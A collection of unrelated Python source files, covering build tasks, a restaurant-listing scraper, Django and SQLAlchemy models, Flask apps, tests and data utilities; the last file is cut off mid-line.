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# -*- coding: utf-8 -*- """ Invoke - Tasks ============== """ from __future__ import unicode_literals import sys try: import biblib.bib except ImportError: pass import fnmatch import os import re import toml import uuid from invoke import task import colour from colour.utilities import message_box __author__ = 'Colour Developers' __copyright__ = 'Copyright (C) 2013-2020 - Colour Developers' __license__ = 'New BSD License - https://opensource.org/licenses/BSD-3-Clause' __maintainer__ = 'Colour Developers' __email__ = '[email protected]' __status__ = 'Production' __all__ = [ 'APPLICATION_NAME', 'APPLICATION_VERSION', 'PYTHON_PACKAGE_NAME', 'PYPI_PACKAGE_NAME', 'BIBLIOGRAPHY_NAME', 'clean', 'formatting', 'tests', 'quality', 'examples', 'preflight', 'docs', 'todo', 'requirements', 'build', 'virtualise', 'tag', 'release', 'sha256' ] APPLICATION_NAME = colour.__application_name__ APPLICATION_VERSION = colour.__version__ PYTHON_PACKAGE_NAME = colour.__name__ PYPI_PACKAGE_NAME = 'colour-science' BIBLIOGRAPHY_NAME = 'BIBLIOGRAPHY.bib' @task def clean(ctx, docs=True, bytecode=False): """ Cleans the project. Parameters ---------- ctx : invoke.context.Context Context. docs : bool, optional Whether to clean the *docs* directory. bytecode : bool, optional Whether to clean the bytecode files, e.g. *.pyc* files. Returns ------- bool Task success. """ message_box('Cleaning project...') patterns = ['build', '*.egg-info', 'dist'] if docs: patterns.append('docs/_build') patterns.append('docs/generated') if bytecode: patterns.append('**/*.pyc') for pattern in patterns: ctx.run("rm -rf {}".format(pattern)) @task def formatting(ctx, yapf=False, asciify=True, bibtex=True): """ Formats the codebase with *Yapf*, converts unicode characters to ASCII and cleanup the "BibTeX" file. Parameters ---------- ctx : invoke.context.Context Context. yapf : bool, optional Whether to format the codebase with *Yapf*. asciify : bool, optional Whether to convert unicode characters to ASCII. bibtex : bool, optional Whether to cleanup the *BibTeX* file. Returns ------- bool Task success. """ if yapf: message_box('Formatting codebase with "Yapf"...') ctx.run('yapf -p -i -r --exclude \'.git\' .') if asciify: message_box('Converting unicode characters to ASCII...') with ctx.cd('utilities'): ctx.run('./unicode_to_ascii.py') if bibtex and sys.version_info[:2] >= (3, 2): message_box('Cleaning up "BibTeX" file...') bibtex_path = BIBLIOGRAPHY_NAME with open(bibtex_path) as bibtex_file: bibtex = biblib.bib.Parser().parse( bibtex_file.read()).get_entries() for entry in sorted(bibtex.values(), key=lambda x: x.key): try: del entry['file'] except KeyError: pass for key, value in entry.items(): entry[key] = re.sub('(?<!\\\\)\\&', '\\&', value) with open(bibtex_path, 'w') as bibtex_file: for entry in bibtex.values(): bibtex_file.write(entry.to_bib()) bibtex_file.write('\n') @task def tests(ctx, nose=True): """ Runs the unit tests with *Nose* or *Pytest*. Parameters ---------- ctx : invoke.context.Context Context. nose : bool, optional Whether to use *Nose* or *Pytest*. Returns ------- bool Task success. """ if nose: message_box('Running "Nosetests"...') ctx.run( 'nosetests --with-doctest --with-coverage --cover-package={0} {0}'. format(PYTHON_PACKAGE_NAME), env={'MPLBACKEND': 'AGG'}) else: message_box('Running "Pytest"...') ctx.run( 'py.test --disable-warnings --doctest-modules ' '--ignore={0}/examples {0}'.format(PYTHON_PACKAGE_NAME), env={'MPLBACKEND': 'AGG'}) @task def quality(ctx, flake8=True, rstlint=True): """ Checks the codebase with *Flake8* and lints various *restructuredText* files with *rst-lint*. Parameters ---------- ctx : invoke.context.Context Context. flake8 : bool, optional Whether to check the codebase with *Flake8*. rstlint : bool, optional Whether to lint various *restructuredText* files with *rst-lint*. Returns ------- bool Task success. """ if flake8: message_box('Checking codebase with "Flake8"...') ctx.run('flake8 {0} --exclude=examples'.format(PYTHON_PACKAGE_NAME)) if rstlint: message_box('Linting "README.rst" file...') ctx.run('rst-lint README.rst') @task def examples(ctx, plots=False): """ Runs the examples. Parameters ---------- ctx : invoke.context.Context Context. plots : bool, optional Whether to skip or only run the plotting examples: This a mutually exclusive switch. Returns ------- bool Task success. """ message_box('Running examples...') for root, _dirnames, filenames in os.walk( os.path.join(PYTHON_PACKAGE_NAME, 'examples')): for filename in fnmatch.filter(filenames, '*.py'): if not plots and ('plotting' in root or 'examples_interpolation' in filename or 'examples_contrast' in filename): continue if plots and ('plotting' not in root and 'examples_interpolation' not in filename and 'examples_contrast' not in filename): continue ctx.run('python {0}'.format(os.path.join(root, filename))) @task(formatting, tests, quality, examples) def preflight(ctx): """ Performs the preflight tasks, i.e. *formatting*, *tests*, *quality*, and *examples*. Parameters ---------- ctx : invoke.context.Context Context. Returns ------- bool Task success. """ message_box('Finishing "Preflight"...') @task def docs(ctx, plots=True, html=True, pdf=True): """ Builds the documentation. Parameters ---------- ctx : invoke.context.Context Context. plots : bool, optional Whether to generate the documentation plots. html : bool, optional Whether to build the *HTML* documentation. pdf : bool, optional Whether to build the *PDF* documentation. Returns ------- bool Task success. """ if plots: with ctx.cd('utilities'): message_box('Generating plots...') ctx.run('./generate_plots.py') with ctx.prefix('export COLOUR_SCIENCE_DOCUMENTATION_BUILD=True'): with ctx.cd('docs'): if html: message_box('Building "HTML" documentation...') ctx.run('make html') if pdf: message_box('Building "PDF" documentation...') ctx.run('make latexpdf') @task def todo(ctx): """ Export the TODO items. Parameters ---------- ctx : invoke.context.Context Context. Returns ------- bool Task success. """ message_box('Exporting "TODO" items...') with ctx.cd('utilities'): ctx.run('./export_todo.py') @task def requirements(ctx): """ Export the *requirements.txt* file. Parameters ---------- ctx : invoke.context.Context Context. Returns ------- bool Task success. """ message_box('Exporting "requirements.txt" file...') ctx.run('poetry run pip freeze | ' 'egrep -v "github.com/colour-science|enum34" ' '> requirements.txt') @task(clean, preflight, docs, todo, requirements) def build(ctx): """ Builds the project and runs dependency tasks, i.e. *docs*, *todo*, and *preflight*. Parameters ---------- ctx : invoke.context.Context Context. Returns ------- bool Task success. """ message_box('Building...') pyproject_content = toml.load('pyproject.toml') pyproject_content['tool']['poetry']['name'] = PYPI_PACKAGE_NAME pyproject_content['tool']['poetry']['packages'] = [{ 'include': PYTHON_PACKAGE_NAME, 'from': '.' }] with open('pyproject.toml', 'w') as pyproject_file: toml.dump(pyproject_content, pyproject_file) ctx.run('poetry build') ctx.run('git checkout -- pyproject.toml') with ctx.cd('dist'): ctx.run('tar -xvf {0}-{1}.tar.gz'.format(PYPI_PACKAGE_NAME, APPLICATION_VERSION)) ctx.run('cp {0}-{1}/setup.py ../'.format(PYPI_PACKAGE_NAME, APPLICATION_VERSION)) ctx.run('rm -rf {0}-{1}'.format(PYPI_PACKAGE_NAME, APPLICATION_VERSION)) with open('setup.py') as setup_file: source = setup_file.read() setup_kwargs = [] def sub_callable(match): setup_kwargs.append(match) return '' template = """ setup({0} ) """ source = re.sub( 'setup_kwargs = {(.*)}.*setup\\(\\*\\*setup_kwargs\\)', sub_callable, source, flags=re.DOTALL)[:-2] setup_kwargs = setup_kwargs[0].group(1).splitlines() for i, line in enumerate(setup_kwargs): setup_kwargs[i] = re.sub('^\\s*(\'(\\w+)\':\\s?)', ' \\2=', line) if setup_kwargs[i].strip().startswith('long_description'): setup_kwargs[i] = ( ' long_description=open(\'README.rst\').read(),') source += template.format('\n'.join(setup_kwargs)) with open('setup.py', 'w') as setup_file: setup_file.write(source) @task def virtualise(ctx, tests=True): """ Create a virtual environment for the project build. Parameters ---------- ctx : invoke.context.Context Context. tests : bool, optional Whether to run tests on the virtual environment. Returns ------- bool Task success. """ unique_name = '{0}-{1}'.format(PYPI_PACKAGE_NAME, uuid.uuid1()) with ctx.cd('dist'): ctx.run('tar -xvf {0}-{1}.tar.gz'.format(PYPI_PACKAGE_NAME, APPLICATION_VERSION)) ctx.run('mv {0}-{1} {2}'.format(PYPI_PACKAGE_NAME, APPLICATION_VERSION, unique_name)) with ctx.cd(unique_name): ctx.run('poetry env use 3') ctx.run('poetry install --extras "optional plotting"') ctx.run('source $(poetry env info -p)/bin/activate') ctx.run('python -c "import imageio;' 'imageio.plugins.freeimage.download()"') if tests: ctx.run('poetry run nosetests', env={'MPLBACKEND': 'AGG'}) @task def tag(ctx): """ Tags the repository according to defined version using *git-flow*. Parameters ---------- ctx : invoke.context.Context Context. Returns ------- bool Task success. """ message_box('Tagging...') result = ctx.run('git rev-parse --abbrev-ref HEAD', hide='both') assert result.stdout.strip() == 'develop', ( 'Are you still on a feature or master branch?') with open(os.path.join(PYTHON_PACKAGE_NAME, '__init__.py')) as file_handle: file_content = file_handle.read() major_version = re.search("__major_version__\\s+=\\s+'(.*)'", file_content).group(1) minor_version = re.search("__minor_version__\\s+=\\s+'(.*)'", file_content).group(1) change_version = re.search("__change_version__\\s+=\\s+'(.*)'", file_content).group(1) version = '.'.join((major_version, minor_version, change_version)) result = ctx.run('git ls-remote --tags upstream', hide='both') remote_tags = result.stdout.strip().split('\n') tags = set() for remote_tag in remote_tags: tags.add( remote_tag.split('refs/tags/')[1].replace('refs/tags/', '^{}')) tags = sorted(list(tags)) assert 'v{0}'.format(version) not in tags, ( 'A "{0}" "v{1}" tag already exists in remote repository!'.format( PYTHON_PACKAGE_NAME, version)) ctx.run('git flow release start v{0}'.format(version)) ctx.run('git flow release finish v{0}'.format(version)) @task(clean, build) def release(ctx): """ Releases the project to *Pypi* with *Twine*. Parameters ---------- ctx : invoke.context.Context Context. Returns ------- bool Task success. """ message_box('Releasing...') with ctx.cd('dist'): ctx.run('twine upload *.tar.gz') ctx.run('twine upload *.whl') @task def sha256(ctx): """ Computes the project *Pypi* package *sha256* with *OpenSSL*. Parameters ---------- ctx : invoke.context.Context Context. Returns ------- bool Task success. """ message_box('Computing "sha256"...') with ctx.cd('dist'): ctx.run('openssl sha256 {0}-*.tar.gz'.format(PYPI_PACKAGE_NAME))
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#!/usr/bin/env python # coding: utf-8 import csv import requests from urllib.request import urlopen from bs4 import BeautifulSoup import ssl import re import pandas as pd import time base_url = "https://tabelog.com/tokyo/A1304/A130401/rstLst/" begin_page = 1 end_page = 10 #最終ページの計算用 r_base = requests.get(base_url) soup_base = BeautifulSoup(r_base.content, 'html.parser') page_num = begin_page #csvリストの作成 csvlist = [["store_name", "score", "review_num", "url", "category_name", "reserve_tel", "prefecture", "district", "seat_num", "facebook", "restaurant_tel", "homepage", "open_date"]] #CSVファイルを開く。ファイルがなければ新規作成する。 f = open("output.csv", "w", encoding="utf_8_sig") writecsv = csv.writer(f, lineterminator='\n') while True: list_url = base_url + str(page_num) + "/" print(list_url) # 一覧ページで、ページネーション順に取得 r1 = requests.get(list_url) soup1 = BeautifulSoup(r1.content, 'lxml') soup_a_list = soup1.find_all('a', class_='list-rst__rst-name-target') # 店の個別ページURLを取得 for soup_a in soup_a_list: item_url = soup_a.get('href') print(item_url) r = requests.get(item_url) soup = BeautifulSoup(r.content, 'lxml') #点数 try: score = soup.find("span", class_="rdheader-rating__score-val-dtl").get_text() print(score) except: score="NULL" pass print(score) # 口コミ数 try: review_num = soup.find("em", class_="num").get_text() except: review_num="NULL" pass print(review_num) #情報取得 info = str(soup) #店舗名 try: store_name = info.split('display-name')[1].split('<span>')[1].split('</span>')[0].strip() except: store_name="NULL" pass print(store_name) #ジャンル名 try: category_name = info.split('<th>ジャンル</th>')[1].split('<td>')[1].split('</td>')[0].split('<span>')[1].split('</span>')[0].strip() except: category_name="NULL" pass print(category_name) #予約電話番号 try: reserve_tel = info.split('<strong class="rstinfo-table__tel-num">')[1].split('</strong>')[0].strip() except: reserve_tel="NULL" pass print(reserve_tel) #都道府県 try: prefecture = info.split('<p class="rstinfo-table__address">')[1].split('/">')[1].split('</a>')[0].strip() except: prefecture="NULL" pass print(prefecture) #区 try: district = info.split('<p class="rstinfo-table__address">')[1].split('/rstLst/')[1].split('">')[1].split('</a>')[0].strip() except: district="NULL" pass print(district) #席数 try: seat_num = info.split('<th>席数</th>')[1].split('<td>')[1].split('</td>')[0].split('<p>')[1].split('席</p>')[0].strip() except: seat_num="NULL" pass print(seat_num) #公式アカウント facebook try: facebook = info.split('rstinfo-sns-link rstinfo-sns-facebook')[1].split('<span>')[1].split('</span>')[0].strip() except: facebook="NULL" pass print(facebook) #電話番号 try: restaurant_tel = info.split('<th>電話番号</th>')[1].split('<strong class="rstinfo-table__tel-num">')[1].split('</strong>')[0].strip() except: restaurant_tel="NULL" pass print(restaurant_tel) #ホームページ try: homepage = info.split('<th>ホームページ</th>')[1].split('<span>')[1].split('</span>')[0].strip() except: homepage="NULL" pass print(homepage) #オープン日 try: open_date = info.split('rstinfo-opened-date">')[1].split('</p>')[0].strip() except: open_date="NULL" pass print(open_date) #csvリストに順に追加 csvlist.append([store_name, score, review_num, item_url, category_name, reserve_tel, prefecture, district, seat_num, facebook, restaurant_tel, homepage, open_date]) if page_num >= end_page: print(csvlist) break page_num += 1 # 出力 writecsv.writerows(csvlist) # CSVファイルを閉じる f.close()
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# 问题的填充 import re import Levenshtein from lib.regexp import RangeYear, RefsYear from lib.mapping import map_digits, map_refs def year_complement(question: str) -> str: """ 年份自动填充,转换各种表示为数字表示。 例:11年 -> 2011年 两千一十一年 -> 2011年 11-15年 -> 2011年,2012年,2013年,2014年,2015年 13到15年 -> 2013年,2014年,2015年 13年比前年 -> 2013年比2011年 15年比大大前年 -> 2015年比2011年 16年比3年前 -> 2016年比2013年 16年与前三年相比 -> 2016年与2015年,2014年,2013年相比 """ complemented = question # 先填充范围 range_years = re.compile(RangeYear).findall(question) last_year = '' for (year, gap) in range_years: year = year.strip('年') if not gap: new_year = map_digits(year) else: start, end = year.split(gap) start_year, end_year = int(map_digits(start)), int(map_digits(end)) new_year = ','.join([str(start_year + i) for i in range(end_year - start_year + 1)]) last_year = new_year complemented = complemented.replace(year, new_year) # 后填充指代 for i, pattern in enumerate(RefsYear): ref_years = re.compile(pattern).findall(complemented) if ref_years: year = ref_years[0][-1] new_year = map_refs(year, i, int(last_year)) complemented = complemented.replace(year, new_year) break return complemented def index_complement(question: str, words: list, len_threshold: int = 4, ratio_threshold: float = 0.5) -> tuple: """对问题中的指标名词进行模糊查询并迭代返回最接近的项. :param question: 问题 :param words: 查询范围(词集) :param len_threshold: 最小的有效匹配长度 :param ratio_threshold: 最小匹配率 :return: 首次匹配结果 """ charset = set("".join(words)) pattern = re.compile(f'([{charset}]+)') for result in pattern.findall(question): if len(result) < len_threshold: continue scores = [] for word in words: score = Levenshtein.ratio(word, result) scores.append(score) # 得分最高的最近似 max_score = max(scores) if max_score >= ratio_threshold: return words[scores.index(max_score)], result return None, None
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mukulbhave/viden
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from PIL import Image import os, sys,re , fnmatch import numpy as np import glob input_path = "C:\\Users\\sudhir\\Downloads\\EngImg\\" out="C:\\dataset\\viden_numberplates\\out\\" def rename(): for index,item in enumerate(dirs): if item.endswith(".xml"): x=item.find('-') print("Renaming "+item+" as "+out +item[x+1:]) #if os.path.isfile(path+item): os.rename(path+item,out +item[x+1:]) def convert_png_to_jpg(): count = 1 for root, dirnames, filenames in os.walk(input_path): print("processing: "+root) for f_name in fnmatch.filter(filenames, '*.png'): file_path=os.path.join(root, f_name) print("reading file: "+file_path) im = Image.open(file_path) rgb_im = im.convert('RGB') f_name=f_name.replace(".png",".jpg") out_path= os.path.join(out, f_name) print("saving: "+out_path) rgb_im.save(out_path, 'JPEG', quality=90) count+=1 print("Processed Files:"+str(count)) convert_png_to_jpg()
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""" Test for sut.py """ from .sut import some_method_that_returns_string def test_some_method_that_returns_string(): assert some_method_that_returns_string() == "noop" if __name__ == "__main__": test_some_method_that_returns_string()
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""" Copyright (c) 2020 COTOBA DESIGN, Inc. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. """ import unittest from programytest.storage.asserts.store.assert_sets import SetStoreAsserts from programy.storage.stores.nosql.mongo.store.sets import MongoSetsStore from programy.storage.stores.nosql.mongo.engine import MongoStorageEngine from programy.storage.stores.nosql.mongo.config import MongoStorageConfiguration import programytest.storage.engines as Engines class MongoSetsStoreTests(SetStoreAsserts): @unittest.skipIf(Engines.mongo is False, Engines.mongo_disabled) def test_initialise(self): config = MongoStorageConfiguration() engine = MongoStorageEngine(config) engine.initialise() store = MongoSetsStore(engine) self.assertEqual(store.storage_engine, engine) @unittest.skipIf(Engines.mongo is False, Engines.mongo_disabled) def test_set_storage(self): config = MongoStorageConfiguration() engine = MongoStorageEngine(config) engine.initialise() store = MongoSetsStore(engine) self.assert_set_storage(store) @unittest.skipIf(Engines.mongo is False, Engines.mongo_disabled) def test_upload_from_text(self): config = MongoStorageConfiguration() engine = MongoStorageEngine(config) engine.initialise() store = MongoSetsStore(engine) self.assert_upload_from_text(store) @unittest.skipIf(Engines.mongo is False, Engines.mongo_disabled) def test_upload_from_text_file(self): config = MongoStorageConfiguration() engine = MongoStorageEngine(config) engine.initialise() store = MongoSetsStore(engine) self.assert_upload_from_text_file(store) @unittest.skipIf(Engines.mongo is False, Engines.mongo_disabled) def test_upload_text_files_from_directory_no_subdir(self): config = MongoStorageConfiguration() engine = MongoStorageEngine(config) engine.initialise() store = MongoSetsStore(engine) self.assert_upload_text_files_from_directory_no_subdir(store) @unittest.skip("CSV not supported yet") def test_upload_from_csv_file(self): config = MongoStorageConfiguration() engine = MongoStorageEngine(config) engine.initialise() store = MongoSetsStore(engine) self.assert_upload_from_csv_file(store) @unittest.skip("CSV not supported yet") def test_upload_csv_files_from_directory_with_subdir(self): config = MongoStorageConfiguration() engine = MongoStorageEngine(config) engine.initialise() store = MongoSetsStore(engine) self.assert_upload_csv_files_from_directory_with_subdir(store)
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# -*- coding: utf-8 -*- # @Time : 2020/11/8 下午 04:59 # @Author : Mason # @Email : [email protected] # @File : oss.py # @Software: PyCharm import json import os import oss2 from flask import request, Blueprint from Config import config from util.jsons import js_ret oss_bp = Blueprint('oss',__name__) access_key_id = os.getenv('OSS_TEST_ACCESS_KEY_ID', config.ACCESSKEY_ID) access_key_secret = os.getenv('OSS_TEST_ACCESS_KEY_SECRET', config.ACCESSKEY_SCRECT) bucket_name = os.getenv('OSS_TEST_BUCKET', config.BUCKET_NAME) endpoint = os.getenv('OSS_TEST_ENDPOINT', config.ENDPOINT) # 确认参数 for param in (access_key_id, access_key_secret, bucket_name, endpoint): assert '<' not in param, '请设置参数:' + param # 创建Bucket对象 bucket = oss2.Bucket(oss2.Auth(access_key_id, access_key_secret), endpoint, bucket_name) @oss_bp.route('/update',methods=["GET", "POST"]) def update(): # 上传文件到服务器 file = request.files.get('file') if file is None: return js_ret(0,'没有检索到文件') else: # 上传文件到阿里云OSS res = bucket.put_object(file.filename, file) if res.status == 200: # 上传成功,获取文件带签名的地址,返回给前端 url = bucket.sign_url('GET', file.filename, 60) data = { "url":url } return js_ret(1,"",data)
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"""alvdevops0505 URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/2.2/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: path('', views.home, name='home') Class-based views 1. Add an import: from other_app.views import Home 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home') Including another URLconf 1. Import the include() function: from django.urls import include, path 2. Add a URL to urlpatterns: path('blog/', include('blog.urls')) """ from django.contrib import admin from django.urls import path, include urlpatterns = [ path('admin/', admin.site.urls), path('',include('users.urls', namespace='users')), path('accounts/', include('accounts.urls', namespace='accounts')), ]
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import flask import PIL from flask import request from flask import redirect from imageHelperFunctions import * import os, os.path app=flask.Flask(__name__) def editImage(option,filename,newname): im=openImageFile(filename) w,h=size(im) for i in range(0,h): for j in range(0,w): r,g,b= getPixel((j,i),im) if option==1: setPixel((j,i),im, (r*20,0,0)) elif option==2: setPixel((j,i),im, (0,g*20,0)) elif option==3: setPixel((j,i),im, (0,0,b*20)) #showImage(im) saveImageFile(im,newname,"PNG") @app.route('/') def displayPuzzle(): print("In displayPuzzle") if not os.path.exists('static/newimage1.png'): editImage(1,"static/distortedImage1.png", "static/newimage1.png") if not os.path.exists('static/newimage2.png'): editImage(2,"static/distortedImage1.png", "static/newimage2.png") if not os.path.exists('static/newimage3.png'): editImage(3,"static/distortedImage1.png", "static/newimage3.png") html='' html+='<!DOCTYPE html>\n' html+='<html>\n' html+='<body>\n' html+=" <h1>Image Puzzle</h1>\n" html+=' <p1> Apply one of the operations below to the image, and see if you can guess what famous object is in the image! </p1>\n' html+='<img src="/static/distortedImage1.png" alt="distortedImage1"style="width:1024px;height:683px" >\n' html+='<br>\n' html+='Pick an Operation:<br>\n' html+='<form method="POST" action="/showimage">\n' html+='<input type="radio" name="operation" value="red">Set blue and green pixels to 0 and multiple red ones by 20<br>\n' html+='<input type="radio" name="operation" value="green">Set blue and red pixels to 0 and multiple green ones by 20<br>\n' html+='<input type="radio" name="operation" value="blue">Set blue and green pixels to 0 and multiple red ones by 20<br>\n' html+='<input type="submit" value="Apply Operations" />\n' html+='</form>\n' html+='</form>\n' html+='</body>\n' html+='</html>\n' return html @app.route("/showimage", methods=['POST']) def showEditedimage(): html='' html+='<!DOCTYPE html>\n' html+='<html>\n' html+='<body>\n' operation=request.form["operation"] if operation=="red": html+='<img src="/static/newimage1.png" alt="newimage" style="width:1024px;height:683px" >\n' elif operation=="green": html+='<img src="/static/newimage2.png" alt="newimage" style="width:1024px;height:683px" >\n' elif operation=="blue": html+='<img src="/static/newimage3.png" alt="newimage" style="width:1024px;height:683px" >\n' html+='<br>\n' html += '<form method="POST" action="/guessImage">\n' html += 'Enter your guess <input type="text" name="guess"/>\n' html += '</form>\n' html+='</form>\n' html+='</body>\n' html+='</html>\n' return html @app.route("/guessImage", methods=['POST']) def guessImage(): guess=request.form["guess"] if guess=="White House" or guess=="white house" or guess=="the white house" or guess=="The White House" or guess=="the White House": return "Correct!" else: return redirect('/') if __name__ == '__main__': app.run()
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#!/usr/bin/env python # -*- coding: utf-8 -*- from __future__ import print_function import math def read(f): n = int(f.readline().strip()) for i in xrange(n): p, q = map(int, f.readline().strip().split('/')) yield p, q def main(f): for i, (p, q) in enumerate(read(f)): if 2 ** int(math.log(q) / math.log(2)) != q: print("Case #{0}: impossible".format(i+1)) else: n = int(math.ceil((math.log(q) - math.log(p)) / math.log(2))) print("Case #{0}: {1}".format(i+1, n)) _input = """ 5 1/2 3/4 1/4 2/23 123/31488 """.strip() _output = """ Case #1: 1 Case #2: 1 Case #3: 2 Case #4: impossible Case #5: 8 """.strip() def test_main(compare=False): import sys from difflib import unified_diff from StringIO import StringIO if compare: stdout = sys.stdout sys.stdout = StringIO() try: main(StringIO(_input)) result = sys.stdout.getvalue().strip() finally: sys.stdout = stdout print(result) for line in unified_diff(result.splitlines(), _output.splitlines(), 'Output', 'Expect', lineterm=''): print(line) if result == _output: print("OK") else: print("NG") else: main(StringIO(_input)) if __name__ == '__main__': test = False compare = False if test: test_main(compare) else: import sys if len(sys.argv) > 1: f = open(sys.argv[1]) main(f) f.close() else: main(sys.stdin)
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# Code for reteiving and maniupulating the JASPAR sql_table files # and the JASPAR PWM file. import os JASPAR_BUILD = '2009-Oct12-NonRedundant' prefix = '../data/JASPAR/' + JASPAR_BUILD protTab = prefix + '/sql_tables/MATRIX_PROTEIN.txt' annotTab = prefix + '/sql_tables/MATRIX_ANNOTATION.txt' speciesTab = prefix + '/sql_tables/MATRIX_SPECIES.txt' matrixTab = prefix + '/sql_tables/MATRIX.txt' PWMfile = prefix + '/matrix_only.txt' def getNewBuild(): # Get the latest build of the complete JASPAR CORE set. # First set up directory structure in ../data/JASPAR/ JASPAR_HTML_PREFIX = "http://jaspar.genereg.net//" + \ "html/DOWNLOAD/jaspar_CORE/non_redundant/all_species/" sqlTables = ["MATRIX.txt", "MATRIX_ANNOTATION.txt", "MATRIX_DATA.txt", "MATRIX_PROTEIN.txt", "MATRIX_SPECIES.txt"] os.mkdir("../data/JASPAR/" + JASPAR_BUILD) os.mkdir("../data/JASPAR/" + JASPAR_BUILD + "/sql_tables") for tab in sqlTables: os.system("wget -P " + prefix + "/sql_tables/ " + JASPAR_HTML_PREFIX + "/sql_tables/" + tab) os.system("wget -P " + prefix + " " + JASPAR_HTML_PREFIX + "matrix_only/matrix_only.txt") def getIDsByAnnot(annot, currentList = None): # Returns a list of JASPAR unique IDs that are are # labelled by the annots. annots is tuple (key, value) if currentList == None: ids = set() else: ids = set(currentList) annotFile = open(annotTab, 'r') for line in annotFile: sp_line = line.strip().split('\t') if len(sp_line) < 3: continue key = sp_line[1] val = sp_line[2] if key == annot[0] and val == annot[1]: ids.add(sp_line[0]) annotFile.close() ids = list(ids) ids = [int(i) for i in ids] return sorted(list(ids)) def JASPARIDs2proteinIDs(JASPARids): # Takes a sorted list of JASPAR IDs and # returns a list of the corresponding protein IDs protFile = open(protTab, 'r') i = 0 proteinIDs = [] for line in protFile: sp_line = line.strip().split() if int(sp_line[0]) == JASPARids[i]: proteinIDs.append(sp_line[1]) i += 1 if i == len(JASPARids): break protFile.close() return proteinIDs def getAnnotsByJASPARid(JASPARids, label): # Finds the annotation associated with the JasparID # and label for each ID in the ***SORTED*** # list of sorted JASPARids annotFile = open(annotTab, 'r') i = 0 vals = [] for line in annotFile: if len(line) != 0: sp_line = line.strip().split('\t') if int(sp_line[0]) > JASPARids[i]: print "No label: %s for JASPAR id %d" %(label, JASPARids[i]) i += 1 if i == len(JASPARids): break if int(sp_line[0]) == JASPARids[i] and sp_line[1] == label: vals.append(sp_line[2]) i += 1 if i == len(JASPARids): break annotFile.close() return vals def main(): #getNewBuild() JASPARids = getIDsByAnnot(('family', 'BetaBetaAlpha-zinc finger')) print JASPARids x = getAnnotsByJASPARid(JASPARids, "family") #protIDs = JASPARIDs2proteinIDs(JASPARids) #print(len(protIDs)) for t in x: print t if __name__ == '__main__': main()
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from django.contrib.auth.models import User, Group from rest_framework import viewsets from tutorial.quickstart.serializers import UserSerializer, GroupSerializer from django.shortcuts import render class UserViewSet(viewsets.ModelViewSet): """ API endpoint that allows users to be viewed or edited. """ queryset = User.objects.all().order_by('-date_joined') serializer_class = UserSerializer class GroupViewSet(viewsets.ModelViewSet): """ API endpoint that allows groups to be viewed or edited. """ queryset = Group.objects.all() serializer_class = GroupSerializer
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# Generated by Django 2.1.3 on 2019-02-09 03:57 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('blogapp', '0003_auto_20190209_0013'), ] operations = [ migrations.CreateModel( name='gory', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=100)), ], ), ]
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import parent print(locals()) # If we import code from the sub-page to the main page, we don't want # the code from there to be executed on our main page, so we use... # something like this: if __name__ == "__main__": product = Product([args]) print(product) print(product.add_tax(0.18))
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import sqlalchemy as sa from sqlalchemy.orm import relationship from tifa.globals import Model from tifa.models.attr import Attribute, AttributeValue from tifa.models.product import ProductType, Product, ProductVariant class AttributeProduct(Model): __tablename__ = "attribute_product" __table_args__ = (sa.UniqueConstraint("attribute_id", "product_type_id"),) id = sa.Column(sa.Integer, primary_key=True) attribute_id = sa.Column( sa.ForeignKey("attribute.id"), nullable=False, ) attribute = relationship(Attribute) product_type_id = sa.Column( sa.ForeignKey("product_type.id"), nullable=False, ) product_type = relationship(ProductType) sort_order = sa.Column(sa.Integer, index=True) class AssignedProductAttribute(Model): __tablename__ = "assigned_product_attribute" __table_args__ = (sa.UniqueConstraint("product_id", "assignment_id"),) id = sa.Column(sa.Integer, primary_key=True) product_id = sa.Column(sa.ForeignKey("product.id"), nullable=False) product = relationship(Product) assignment_id = sa.Column( sa.ForeignKey("attribute_product.id"), nullable=False, ) assignment = relationship(AttributeProduct) class AssignedProductAttributeValue(Model): __tablename__ = "assigned_product_attribute_value" __table_args__ = (sa.UniqueConstraint("value_id", "assignment_id"),) id = sa.Column(sa.Integer, primary_key=True) sort_order = sa.Column(sa.Integer, index=True) assignment_id = sa.Column( sa.ForeignKey("assigned_product_attribute.id"), nullable=False, ) assignment = relationship(AssignedProductAttribute) value_id = sa.Column( sa.ForeignKey("attribute_value.id"), nullable=False, ) value = relationship(AttributeValue) class AttributeVariant(Model): __tablename__ = "attribute_variant" __table_args__ = (sa.UniqueConstraint("attribute_id", "product_type_id"),) id = sa.Column(sa.Integer, primary_key=True) attribute_id = sa.Column( sa.ForeignKey("attribute.id"), nullable=False, ) product_type_id = sa.Column( sa.ForeignKey("product_type.id"), nullable=False, ) sort_order = sa.Column(sa.Integer, index=True) attribute = relationship(Attribute) product_type = relationship(ProductType) class AssignedVariantAttribute(Model): __tablename__ = "assigned_variant_attribute" __table_args__ = (sa.UniqueConstraint("variant_id", "assignment_id"),) id = sa.Column(sa.Integer, primary_key=True) variant_id = sa.Column( sa.ForeignKey("product_variant.id"), nullable=False, ) assignment_id = sa.Column( sa.ForeignKey("attribute_variant.id"), nullable=False, ) assignment = relationship(AttributeVariant) variant = relationship(ProductVariant) class AssignedVariantAttributeValue(Model): __tablename__ = "assigned_variant_attribute_value" __table_args__ = (sa.UniqueConstraint("value_id", "assignment_id"),) id = sa.Column(sa.Integer, primary_key=True) sort_order = sa.Column(sa.Integer, index=True) assignment_id 